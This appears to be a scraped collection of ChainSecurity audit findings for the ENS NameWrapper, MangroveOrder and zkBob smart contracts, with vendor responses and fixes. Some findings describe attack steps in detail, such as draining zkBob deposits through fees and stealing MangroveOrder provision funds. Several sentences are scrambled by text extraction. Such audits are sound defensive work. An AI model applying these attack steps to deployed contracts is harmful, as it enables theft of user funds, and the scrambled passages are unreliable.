CorrectnessMediumVersion1Speci\ufb01cationChangedDesignLowVersion2CodeCorrected \f6.4 Incorrect Specification for Unwrapping Functions The README says about unwrapping: Wrapped names can be unwrapped by calling either unwrapETH2LD(label, newRegistrant, newController) or unwrap(parentNode, label, newController) as appropriate. label and parentNode have meanings as described under \"Wrapping a name\" Furthermore, the docstring says: @param label label as a string of the .eth domain to wrap e.g. vitalik.xyz would be 'vitalik' However, the implementation works differently. Instead of passing a label, a labelhash should be passed to the unwrapping functions, as seen for unwrapETH2LD below: function unwrapETH2LD( bytes32 label, address newRegistrant, address newController ) public override onlyTokenOwner(_makeNode(ETH_NODE, label)) { _unwrap(_makeNode(ETH_NODE, label), newController); Specification changed: The documentation has been updated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ethereum-name-service-ens-namewrapper/"}, {"title": "6.5 Repetitive Code", "body": " There are multiple instances of repetitive code that could be avoided. These instances include: Within the function wrapETH2LD, two calls are made to registrar.ownerOf(tokenId). Within the functions unwrapETH2LD, unwrap, and burnFuses, two calls are made to _makeNode(parentNode, labelhash). Within the function burnFuses, getData is called multiple times in different spots. The cost impact of these repetitions has been lowered by the recently introduced EIP-2929, however gas optimizations remain possible. The superfluous call to registrar.ownerOf(tokenId) has been removed as well as the duplicate calle to getData in burnFuses. ENS - NameWrapper - 12 CorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f6.6 Specification Unclear for setSubnode* Functions The docstring for the setSubnodeRecord function says: @notice Sets records for the subdomain in the ENS Registry @param node namehash of the name However, the node parameter should contain the namehash for the parent node. This is not entirely clear from the description. Especially, in comparison with the setSubnodeRecordAndWrap function, where the docstring says: @notice Sets the subdomain owner in the registry with records and then wraps the subdomain @param parentNode parent namehash of the subdomain A consistent naming of node versus parentNode for these very similar functions would be beneficial to avoid confusion. This also extends to the setSubnodeOwner and setSubnodeOwnerAndWrap functions. Furthermore, the label parameter is missing from the setSubnodeRecord description. The parameter names were changed to reflect their status. ENS - NameWrapper - 13 CorrectnessLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ethereum-name-service-ens-namewrapper/"}, {"title": "7.1 Dirty Bits in Return Value of getData", "body": " The getData function is one of the most important functions of the NameWrapper as it retrieves information about the different nodes. function getData(uint256 tokenId) public view returns (address owner, uint96 fuses) { uint256 t = _tokens[tokenId]; owner = address(uint160(t)); fuses = uint96(t >> 160); } Functions calling getData need to be aware that the owner return value will contain \"dirty bits\". This is dangerous if assembly is being used, because assembly will access the raw data. Writing normal solidity code should be fine. Hence, we recommend to avoid assembly in connection with getData. We have attached an example file for this behaviour. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ethereum-name-service-ens-namewrapper/"}, {"title": "7.2 Note to Integrators: onERC1155Received", "body": " Hook This note is meant for any developers wanting to build upon the NameWrapper. Similarly to ERC223, ERC721, ERC777, and others the implementation of ERC1155 invokes the onERC1155Received hook at the end of safeTransferFrom. Developers building services which interact with the NameWrapper should be aware of that and implement the hook, as these hooks have historically led to reentrancy attacks. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ethereum-name-service-ens-namewrapper/"}, {"title": "7.3 Restrictions on Custom Permissions", "body": " The README documents that additional fuses might be designated to additional permissions. While this generally can be implemented with the current contract, not all types of permissions will be feasible this way. Any permissions, requiring checks \"up the chain\" of custody would not work without modifications to the contract or without breaking the invariant that fuses can be inspected individually. As a somewhat ENS - NameWrapper - 14 NoteVersion1NoteVersion1NoteVersion1 \fcontrived example, a permission enforcing that TTL values of subnodes must be strictly larger than TTL values of parent nodes, currently could not be enforced. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ethereum-name-service-ens-namewrapper/"}, {"title": "7.4 The Transitive Permission Structure", "body": " Users should be aware of the transitive permission structure of the system. This permission structure involves the NameWrapper, Registry and Registrar. Given a typical user setup, setting an operator O using NameWrapper.setApprovalForAll does not only pass control over all wrapped domains but O also controls all non-wrapped domains. Furthermore, domains that are acquired in the future, can be controlled by O. In short becoming an operator for a particular account on the NameWrapper is more powerful than becoming an operator for the same account on the Registrar or the Registry. Hence, operator permissions should be given out with great care. ENS - NameWrapper - 15 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ethereum-name-service-ens-namewrapper/"}, {"title": "6.1 Locked Refunded Provision", "body": " When a maker submits an order to the Mangrove orderbook, they need to provide some ETH, also known as the provision, to compensate the takers in case the makerExecute hook reverts. A maker can update their offer by calling Forwarder.updateOffer. Note that at this point a maker can update most of the parameters of the order including gasreq, i.e. the gas required for the makerExecute hook to execute. A maker could reduce the gas requirements meaning that some provision will be refunded to them. Forwarder.updateOffer does not handle this refunding (the ownerData.weiBalance is not updated) and Mangrove system only sees MangroveOrder as a maker. This means that the refunded amount is essentially lost for the end-user of the MangroveOrder. Note that if the provision needs to be increased again, the end-user must provide extra ETH. Code Corrected: In the current implementation, the provision can only be increased therefore no funds are locked. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "6.2 Wrong Calculation of Locked Provision", "body": " Giry SAS - MangroveOrder - 11 CriticalHighCodeCorrectedCodeCorrectedMediumCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrectedCorrectnessHighVersion1CodeCorrected \fWhen a user updates their offer through Forwarder.updateOffer, MangroveOrder tries to calculate the new gas price by calling deriveGasprice. The gas price depends on the total provision available for this order. That is the sum of the extra provision attached which is stored in args.fund and the already locked provision. Currently, the locked amount is calculated with the following snippet: vars.offerDetail.gasprice() * 10 ** 9 * args.gasreq + vars.local.offer_gasbase() This formula is wrong for two reasons: 1. It depends on args.gasreq which is the updated gas requirement of the order as passed by the user. 2. There are parentheses missing around args.gasreq + vars.local.offer_gasbase(), as this entire term should be multiplied by the gas price. This miscalculation can have multiple consequences: 1. Can allow users to steal funds (see relevant issue). 2. An order can be submitted with smaller gasprice since the calculated total provision is too small. Code Corrected: Forwarder.updateOffer has been updated. Currently, users can only increase the provision for an order. Users cannot determine args.gasreq as it is set to be equal to the offerGasreq(). It is important to notice that offerGasreq() is not constant but depends on the configuration of the MangroveOrder and in particular the gas requirements of the router. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "6.3 Expiration Date Cannot Be Updated", "body": " A user can update most of the offer details by calling Forwarder.updateOffer. However, the expiration date cannot be changed. In order to change the expiration date of an order, one must retract it and submit a new one. Code Corrected: MangroveOrder.setExpiry has been added to allow users to update the expiration date of the order. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "6.4 Underflow in postRestingOrder", "body": " Once the market order part of GTC order has been filled as much as possible, the remaining amount the user wants to trade is put into a resting order. Note that if fillWants == true, then the Mangrove engine will have stopped matching the order either when it is fully filled, there are no more orders on the books, or when the total average price of the order would fall below the threshold of the ratio between the order's initial wants and gives. Hence, if the matching stops before the order's wants are fully filled, we are guaranteed not to have given away more than the order initially had (else the total average price would be below what we initially wanted). Giry SAS - MangroveOrder - 12 DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1Speci\ufb01cationChanged \fHowever, if fillWants == false, this condition no longer holds. The order can receive arbitrarily many tokens before giving away all the tokens it has to give away. As the price of a trade is defined by the maker, there could be orders on the books which give away arbitrarily many tokens for a very low price. Hence, the user can receive more tokens in the market order part of the trade than they were expecting to. As such, res.takerGot + res.fee can exceed tko.takerWants despite only having partially filled the order. When we go to post a resting order, the following code is executed: res.offerId = _newOffer( OfferArgs({ outbound_tkn: outbound_tkn, inbound_tkn: inbound_tkn, wants: tko.makerWants - (res.takerGot + res.fee), // tko.makerWants is before slippage gives: tko.makerGives - res.takerGave, gasreq: offerGasreq() + additionalGasreq, // using default gasreq of the strat + potential admin defined increase gasprice: 0, // ignored pivotId: tko.pivotId, fund: fund, noRevert: true, // returns 0 when MGV reverts owner: msg.sender }) ); When the wants for the resting order are calculated, an underflow can occur in the case described above, as the market order part of the GTC order could have received arbitrarily many tokens. As Solidity ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "0.8.10 is used, this will simply revert the transaction, but will unnecessarily prevent the user from", "body": " completing their trade. Specification Changed: Currently, the order is posted with the same price as the taker originally wanted. Thus, the issue has been mitigated. Giry SAS replied: this problem made use reevaluate our specification: requiring the (instant) market order and the (asynchronous) maker order to respect a limit average price is not well defined. In some cases this would lead the maker order to be posted for a 0 price. We decided to change the specification and post the maker order at the price initially set by the taker for the market order (irrespectively of the obtained price). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "6.5 Users Can Steal Funds From MangroveOrder", "body": " The core Mangrove system maintains the balanceOf mapping which stores how much ETH is available for each maker to be used as a provision for their orders. Importantly, the MangroveOrder contract is seen as one single maker by the system, even though there might be many end users creating their orders through it. Let us assume that at some point the balance of MangroveOrder is positive and an attacker has already submitted an order. It is possible as we show in another issue that there might be some non-claimable balance since updateOrder does not handle refunds. An attacker can steal money from mangrove by employing any of the following two vectors: 1. Updating an order without sending funds: The attacker calls Forwarder.updateOrder for their order with msg.value == 0 and they increase the gas requirement of their order. This means that args.fund == 0 so gas price will remain the same, however, the total provision needed has been increased as the gas requirements have been increased! At this point MGV.updateOffer is called with msg.value == 0. Giry SAS - MangroveOrder - 13 SecurityMediumVersion1CodeCorrected \f Mangrove core does not perform any check if there are enough funds attached to the call since it relies on the balanceOf mapping by calling debitWei. Mangrove core uses the amount stored in balanceOf for the extra provision. The attacker now retracts the order and withdraws the provision of the order which includes the stolen amount. 2. Updating an order by attaching funds: The attacker calls Forwarder.updateOrder for their order with msg.value != 0 and they increase the gas requirement of their order. Since funds have been attached to the transaction, the gas price will be recalculated. The new provision at this point is calculated wrongly since the provision parameter passed to derivePrice depends on args.gasreq which represents the updated gas requirements of that args.gasreq can be freely set by the users so arbitrarily large value could be passed. As a result, the new gas price is greater than it should be but the extra funds passed are not enough to cover for the extra provision needed by the offer. the offer and not vars.offerDetail.gasreq(). Note Mangrove core uses the amount stored in balanceOf for the extra provision. The attacker now retracts the order and withdraws the provision of the order which includes the stolen amount. A similar attack can be performed when some of the global parameters change, which could result in inaccurate accounting of provisions. If the gasbase of the token pair related to an order changes in the core mangrove system, calling updateOffer can result in an increased (or decreased) provision without providing any additional funds. This will credit (or debit) funds to the MangroveOrder contract which aren't attributed to any user. In particular, if the global gas price is increased, calling updateOffer of Mangrove core with an unchanged gasprice which is lower than the new global gas price, the mangrove core system will set the gas price higher without receiving any funds. This again changes the balance of the MangroveOrder contract, without attributing it to any individual user. While _newOffer and _updateOffer in Forwarder have checks to make sure the offer's gas price is higher than the global gas price, __posthookSuccess__ in MangroveOffer does not. Hence, if the global gas price changes, then an order is partially filled and attempts to repost, its provision will be increased with no additional submitted funds. While the amounts of funds are small, it is conceivable that a malicious user could be able to exploit a change in the global gas price or the gasbase in order to steal funds. It is important to note that this issue cannot result in users losing funds since the excessive provision which can be stolen cannot be claimed by any specific user. In the normal case, no excessive provision should be available. Therefore, it is expected the amount that can be stolen to be low. Hence, we consider the issue as medium severity. Code partially corrected: The issue has been addressed in multiple different ways: 1. In the current implementation there shouldn't be unallocated users' funds in Mangrove core. 2. Users can only increase the provision of an order using MangroveOrder.updateOrder, not decrease it. Hence, they must provide additional provision and can not submit orders which could make use of funds that are already stored in the Mangrove core. 3. The __posthookSuccess__ uses Forwarder._updateOffer. Giry SAS - MangroveOrder - 14 \f6.6 Inaccurate Comment In MangroveOrder.checkCompleteness, the following is mentioned: // when fillWants is true, the market order stops when takerWants units of outbound_tkn have been obtained; However, this comment is inaccurate since part of the takerWants goes to cover the fees, so not the full takerWants amount can be obtained. In AbstractRouter.push, the return value is described as follows: ///@return pushed fraction of amount that was successfully pushed to reserve. However, for tokens with fees, provided the TransferLib is used, the whole amount will always be reported. Code Corrected: The comments have been updated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "6.7 Missing Natspec", "body": " The Natspec is missing in the following cases: For AbstractRouter.bind, the maker parameter. For AbstractRouter.unbind, the maker parameter. For SimpleRouter.__pull__, the strict parameter. For IOfferLogic.OfferArgs, the gasprice field. Code Corrected: The Natspec has been added to the respective functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "6.8 Redundant pragma abicoder v2", "body": " Many contracts include the pragma abicoder v2 directive. However, for solidity 0.8 the abicode v2 is the default one, so the pragma is redundant. Code Corrected: The pragma has been removed from most of the contracts. Giry SAS - MangroveOrder - 15 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.9 Setting Expiration Date A user can define the time-to-live of a resting order submitted through MangroveOrder by specifying the TakeOrder.timeToLiveForRestingOrder. It is important to note that an order can remain in the mempool for a long time before it's executed. Specifying an explicit expiration date instead of the time-to-live might be more convenient for users since it's independent of the time it takes for a transaction to be included in a block. Code Corrected: The expiration date is now absolute and no longer relative to the time the transaction is added to the blockchain. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "6.10 Forwarder.provisionOf Calculation Is", "body": " Wrong As its natspec suggests Forwarder.provisionOf computes the amount of native tokens that can be redeemed when In MgvOfferMaking.retractOffer, the provision is calculated as follows: offer. However, deprovisioning given true. this not is a provision = 10 ** 9 * offerDetail.gasprice() //gasprice is 0 if offer was deprovisioned * (offerDetail.gasreq() + offerDetail.offer_gasbase()); The important part to notice is that provision depends on offerDetail.offer_gasbase(). This is not the same for Forwarder.provisionOf where the provision is calculated as follows: provision = offerDetail.gasprice() * 10 ** 9 * (local.offer_gasbase() + offerDetail.gasreq()); Here, offerDetail.offer_gasbase(). provision the depends on local.offer_gasbase() instead of Code Corrected: The provision is now calculated using the offerDetail.offer_gasbase(). Giry SAS - MangroveOrder - 16 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "7.1 Updating Approvals on Order Update", "body": " A user can update their orders by using Forwarder.updateOffer. It is important for users to remember that, in case the makerExecute hook to their order fails, they will have to reimburse the taker. A reason for an order to fail is that there is not enough allowance given to the router to transfer funds from the maker's reserve to MangroveOrder contract. This is highly likely to happen after a user updates their offer by having it give more funds to the taker. Giry SAS - MangroveOrder - 17 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-order/"}, {"title": "5.1 ZkBobPool Withdrawal Sandwich Attack", "body": " When the withdrawal with native_amount is submitted to the ZkBobPool, the sale of tokens for ETH happens using the UniswapV3Seller contract. However, the amountOutMinimum parameter of this swap is 0. A potential attacker can place orders that would manipulate the price, forcing the sellForETH trade to be executed with a bad price. Thus, due to the lack of spread control, any use of UniswapV3Seller can result in a bad trade, allowing price manipulators to pocket the profit from this trade. Risk accepted: BOB Protocol responded: This feature is only intended to swap small amounts of tokens, purely for funding wallets with gas tokens. UI will strongly dissuade users for doing swaps that are larger than e.g. 100$ in value. Added a warning comment to the sellForETH function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "5.2 BaseERC20 Overflow", "body": " BOB Protocol - zkBob - 10 SecurityDesignCorrectnessTrustCriticalHighMediumRiskAcceptedLowRiskAcceptedRiskAcceptedRiskAcceptedDesignMediumVersion1RiskAcceptedCorrectnessLowVersion1RiskAccepted \fThe _increaseBalance function of the BaseERC20 contract can overflow. While it is checked that the account is not frozen (i.e. the first bit of the balance is zero), it is not guaranteed that the addition will result in a number smaller than 2^255. Hence, an account could become frozen by increasing its balance above this value. Risk accepted: Assuming a reasonable total supply of the token (less than 2^255), it is impossible for any individual account to have a balance large enough to cause this overflow to happen. Thus, the overflow cannot occur under normal circumstances. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "5.3 Daily Limits Can Be Avoided", "body": " If the MutableOperatorManager is used and the operator variable is set to 0, then effectively every user becomes an operator / relayer. This means that any user could spread funds between multiple addresses and easily avoid the daily limits imposed by the ZkBobAccounting contract. Risk accepted: BOB Protocol accepts the risk regarding users avoiding daily limits and states: Allowing users to submit transactions themselves introduces multiple potential problems, including the one described with the limits. For now, it can be assumed that deposit transactions might only go through the chosen relayer, which is also responsible for detecting abnormal limit usage. Even though we cannot assume that one address is equal to one user, we think that making per-address limits in the contract can still be useful in certain use-cases. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "5.4 ERC20Permit.receiveWithPermit Signature", "body": " Can Be Front-Run Similar to issue ERC20Permit.receiveWithSaltedPermit signature can be front-run, the signatures between ERC20Permit.permit and ERC20Permit.receiveWithPermit are interchangeable as well. Thus, the attacker can front-run the signatures and use them in unintended functions to cause a user's transactions to fail. However, this does not render the ZkBob system unsecure itself but might cause problems for 3rd party integrations. Thus, the severity of this issue is low. Risk accepted: BOB Protocol accepted the risk and stated: Third party integrations relying on permit/receiveWithPermit are advised to implement necessary fallbacks for failing permit/receiveWithPermit calls, avoiding entire transaction failures. BOB Protocol - zkBob - 11 TrustLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings ZkBobPool Fees Can Drain the Deposits of the User -Severity Findings ERC20Permit.receiveWithSaltedPermit Signature Can Be Front-Run -Severity Findings Admin Reentrancy in ERC20Recovery Avoiding Recovery by Admin BobVault Uint Conversions Missing Sanity Checks No Events on State Changes 0 1 1 5 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "6.1 ZkBobPool Fees Can Drain the Deposits of the", "body": " User When depositing using the transact function, the caller can specify a negative token amount. Normally, this would revert as it is checked that the deposit amount is positive. However, if the user also specifies the fee to be greater than the absolute value of the deposit amount, the total token_amount will be positive, hence passing the check. Thus, the deposit will go through. This can be exploited by a malicious operator in the following scenario: 1. Operator (msg.sender) specifies txType = 0 (deposit), _transfer_token_amount = -400, fee = 500. 2. Computed token_amount will be 100. 3. 100 * TOKEN_DENOMINATOR will be transferred to the ZkBobPool from the user address. 4. accumulatedFee[msg.sender] will be increased by 500. 5. Operator withdraws 500 * TOKEN_DENOMINATOR of fees. Thus, by depositing only 100 tokens malicious operator was able to withdraw 500 tokens as fees. The malicious operator can drain the contract via the fees. Note that the transact function is only callable by the privileged Operator role. However, the OperatorManager contracts can be configured such that every user would be an operator. BOB Protocol - zkBob - 12 CriticalHighCodeCorrectedMediumCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedSecurityHighVersion1CodeCorrected \fBOB Protocol confirmed that the case of asset drain was prevented by the verifier and the snark circuits which are out of scope for this engagement. However, the deposit of a negative value still could have been used as an undesired withdrawal. Stronger checks were introduced, namely a requirement that _transfer_token_amount must be positive for deposits. The check during the withdrawal correctly constrains the token_amount, since otherwise the same issue would occur in the other direction - a small negative _transfer_token_amount + big positive fee can be positive, causing a withdrawal to count as a deposit. The full response of BOB Protocol team: This confusing case is handled correctly by the verifier and snark circuits. During usual deposit, the following happens: 1. User deposit amount is 400 (_transfer_token_amount is 400) 2. Relayer adds a 100 fee on top 3. Pool contract executes transferFrom for 500 (400 + 100) tokens 4. User shielded balance is increased by _transfer_token_amount (400), which is verified by the circuit verifier 5. Relayer receives a 100 fee 6. So 500 transferred tokens were divided between user (+400) and relayer (+100) During the suggested negative deposit, the following happens: 1. User deposit amount is -400 (_transfer_token_amount is -400, better to think of it as a balance delta, rather than deposit amount) 2. Relayer adds a 500 fee on top 3. Pool contract executes transferFrom for 100 (-400 + 500) tokens 4. User shielded balance is increased by _transfer_token_amount (-400), which is verified by the circuit verifier. As the balance delta is negative, the balance is actually being decreased by 400. 5. Relayer receives a 500 fee. 6. In the end, relayer receives 500 tokens, comprised of user shielded balance decrease (400) and external token transfer (100) 7. Essentially, this turned a deposit into a very strange version of withdrawal Although balance accounting works correctly here, this situation is indeed very confusing. It cannot be triggered via the UI or SDK, as it just does not make sense for users to do something like that. To get rid of this unnecessary source of confusion, we will introduce a bit stricter validation on the deposit amounts, so that negative _transfer_token_amount are not allowed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "6.2 ERC20Permit.receiveWithSaltedPermit", "body": " Signature Can Be Front-Run The ZkBobPool permittable deposit relies on the ERC20Permit.receiveWithSaltedPermit function. However, the in ERC20Permit.saltedPermit function as well. An attacker can intercept the deposit transaction, extract the signature and use it in the call to saltedPermit. As a result of this action, the permittable deposit will fail due to the nonce already having been used. Thus, the attacker can front-run the signatures and use them in unintended functions to cause a user's transactions to fail. signature function used used can this the be in BOB Protocol - zkBob - 13 DesignMediumVersion1CodeCorrected \f The saltedPermit function was removed. Hence, a permittable transaction can't be front-run with a call that uses the same signature for another function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "6.3 Admin Reentrancy in ERC20Recovery", "body": " The executeRecovery function in ERC20Recovery can only be called by the owner or the recovery admin. When recovering the tokens, they are transferred to the recoveredFundsReceiver address. If this address is a contract, the onTokenTransfer function is called. This call could be used to reenter the executeRecovery function in order to double-claim the funds to recover. This would allow the recovery admin or the owner to exceed the intended recoveryLimit. As the recoveredFundsReceiver can only be set by the owner, and both the owner and recovery admin are trusted addresses, the impact of this issue is limited. The recoveryRequestExecutionTimestamp and recoveryRequestHash are now deleted before any external calls are made. Hence, if a reentrant call later calls executeRecovery again, there will be no stored timestamp or hash, so the funds can't be double-claimed anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "6.4 Avoiding Recovery by Admin", "body": " a that user sees (using account If ERC20Recovery.requestRecovery()), they can simply transfer funds to another account to stop them from being recovered. It may also make sense from the perspective of trustworthiness to only allow recovery of funds e.g. if the account is already frozen, or at least enforcing that an account must be frozen in order to recover its funds. recovery marked their for is Specification corrected: BOB Protocol responded: Recovery functionality is intended to be used only on dormant or non-existing users, if the user is able to move his funds to a different address, his token should not be allowed for recovery. Recovering frozen is a different use-case, although it can be also executed through the same functionality. With the assumption, that the proper checks will be performed before account recovery, this issue is resolved. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "6.5 BobVault Uint Conversions", "body": " BOB Protocol - zkBob - 14 SecurityLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \fTo track the token.balance the BobVault contract uses uint128 values. Theoretically, it is possible to provide a value that is great than type(uint128).max. This case will not be handled correctly by the code due to the unsafe conversion to uint128, which truncates the value. As a result, internal accounting will be broken. This happens in multiple functions such as: buy, sell, swap, give. token.balance += uint128(sellAmount); The amount before conversion in most cases is used as an argument for token transfer. However, the practical safety of this conversion depends on the external contract, which is not optimal. BOB Protocol responded: Although such extremely high amounts won\u2019t be seen in practice, we added additional overflow checks where necessary. The checks were introduced in buy, swap, give. Check performed in sell is sufficient to prevent the overflow. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "6.6 Missing Sanity Checks", "body": " Many state-changing operations do not include sanity checks to ensure incorrect values are not set. Consider adding checks to ensure these values aren't accidentally set incorrectly. This can happen e.g. due to a bug in a front-end application resulting in empty values in calldata. These operations include: ERC20Blocklist: updateBlocklister() does not check that _newBlocklister is not address(0). ERC20Recovery: setRecoveryAdmin() does not check that _recoveryAdmin is not address(0). setRecoveredFundsReceiver() does not check that _recoveredFundsReceiver is not address(0). Claimable: setClaimingAdmin does not check that _claimingAdmin is not address(0). ZkBobPool: constructor() does not check any of the provided addresses. initialize() does not check that _root is not 0. setTokenSeller() does not check that _seller is not address(0). setOperatorManager() does not check that _operatorManager is not address(0). BobVault: constructor() does not check that _bobToken is not address(0). setYieldAdmin() does not check that _yieldAdmin is not address(0). setInvestAdmin() does not check that _investAdmin is not address(0). BOB Protocol - zkBob - 15 DesignLowVersion1CodeCorrected \f Checks were added where necessary. Explanation was added why certain cases do not need sanity checks. BOB Protocol responded: We added a few sanity checks in places there we think they might be important: ZkBobPool: constructor(), initialize(), setOperatorManager() BobVault: constructor() In other places, zero addresses are used for unsetting the specific privileges and rights: ERC20Blocklist: updateBlocklister() \u2013 zero address is used to limit the ability to block/unblock accounts only by the governance. ERC20Recovery: setRecoveryAdmin() \u2013 zero address is used to limit the ability to recover funds only by that recoveredFundsReceiver is not zero in _remainingRecoveryLimit (link) so it is safe to not introduce additional checks the governance. setRecoveredFundsReceiver() \u2013 is a check there Claimable: setClaimingAdmin() \u2013 zero address is used to limit the ability to claim tokens only by the governance. ZkBobPool: setTokenSeller() \u2013 zero address is used to disable the ability for users to swap small amount of BOB tokens to MATIC during the withdrawal process. BobVault: setYieldAdmin() - zero address is used to limit the ability to collect generated yield by the governance; setInvestAdmin() \u2013 zero address is used to limit the ability invests tokens into the yield provider only by the governance. Moreover, these functions should only be called by the admin via governance process (e.g. from Safe UI), making real UI typos very unlikely to happen. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "6.7 No Events on State Changes", "body": " Many state-changing operations do not emit events. Consider emitting events for important state changes. These operations include: ZkBobPool: initialize() setTokenSeller() setOperatorManager() ZkBobAccounting: _setLimits() _resetDailyLimits() _setUsersTier() BobVault: setYieldAdmin() BOB Protocol - zkBob - 16 DesignLowVersion1CodeCorrected \f setInvestAdmin() MutableOperatorManager: _setOperator() ERC20Recovery: setRecoveryAdmin() setRecoveredFundsReceiver() setRecoveryLimitPercent() setRecoveryRequestTimelockPeriod() Claimable: setClaimingAdmin() Events were added to the following functions: ZkBobPool: setTokenSeller() setOperatorManager() withdrawFee() ZkBobAccounting: _setLimits() MutableOperatorManager: _setOperator() The remaining functions are either not expected to be called regularly, or it was deemed unimportant for the functions to emit events. BOB Protocol - zkBob - 17 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "7.1 BobVault.disableCollateralYield Potential", "body": " Reentrancy The token buffer, dust and yield fields are updated after the external call. If the yield contract has a reentrancy point, where BobVault can be called again - this update can happen in an invalid state. The external calls should happen after all the state variable updates. Statements were reordered to make the reentrancy impossible. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "7.2 ERC20Permit Deletes Existing Approvals", "body": " Using any of the public functions in ERC20Permit will zero out any pre-existing approval a user may have had from the signer. Hence, a user should use any existing approval from the signer before calling permit or its variations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "7.3 Incorrect Comment", "body": " In the CustomABIDecoder contract, the _memo_fixed_size function features the following comment: else if (t == 2) { // fee + recipient + native amount // 8 + 20 + 8 r = 36; } in However, is actually ... | fee | native_amount | receiver | .... The given sizes for the fields are correct (but also in the wrong order). the case of a Withdraw operation in calldata the order The comment was fixed. BOB Protocol - zkBob - 18 NoteVersion1NoteVersion1NoteVersion1 \f7.4 Reentrant Tokens The BobVault contract should not use any tokens with reentrant transfers, such as an ERC777 token, as collateral. This could lead to inconsistent event orderings or potentially more severe issues. This audit was performed with the assumption that any tokens used as collateral do not have reentrant functionality. Similarly, the ZkBobPool contract should not use an underlying token with reentrant calls, as it would open up critical vulnerabilities such as draining the contract's balance through the withdrawFee function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "7.5 Unused Constant", "body": " In CustomABIDecoder.sol, the sign_r_vs_size constant is defined but never used. BOB Protocol responded: We won\u2019t delete the constant, as keeping it does not impact the size/gas cost of the produced bytecode (most likely it is being pruned by the optimizer), but it might become useful in the future, for adding more extra fields. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/zkbob-smart-contracts/"}, {"title": "7.6 Unused Return Data in YieldConnector", "body": " The YieldConnector's _delegateFarmExtra function does not return anything, even though the farmExtra function of the IYieldImplementation interface returns a bytes type. Similarly, the claimTokens function of the Claimable contract does not check the return value of IERC20(_token).transfer(_to, balance). Hence, false could be returned (meaning the transfer did not actually take place). BOB Protocol responded: Acknowledged and added missing function. The _delegateFarmExtra() function is unused in the context of existing AAVE deployments, however, it to might be used IERC20(_token).transfer(_to, balance) in the Claimable contract are only intended to be executed within the manual governance process, thus actual transfer result does not imply any considerable impact on the system. (e.g. Compound). Calls return statement lending markets integrations farmExtra() for other from BOB Protocol - zkBob - 19 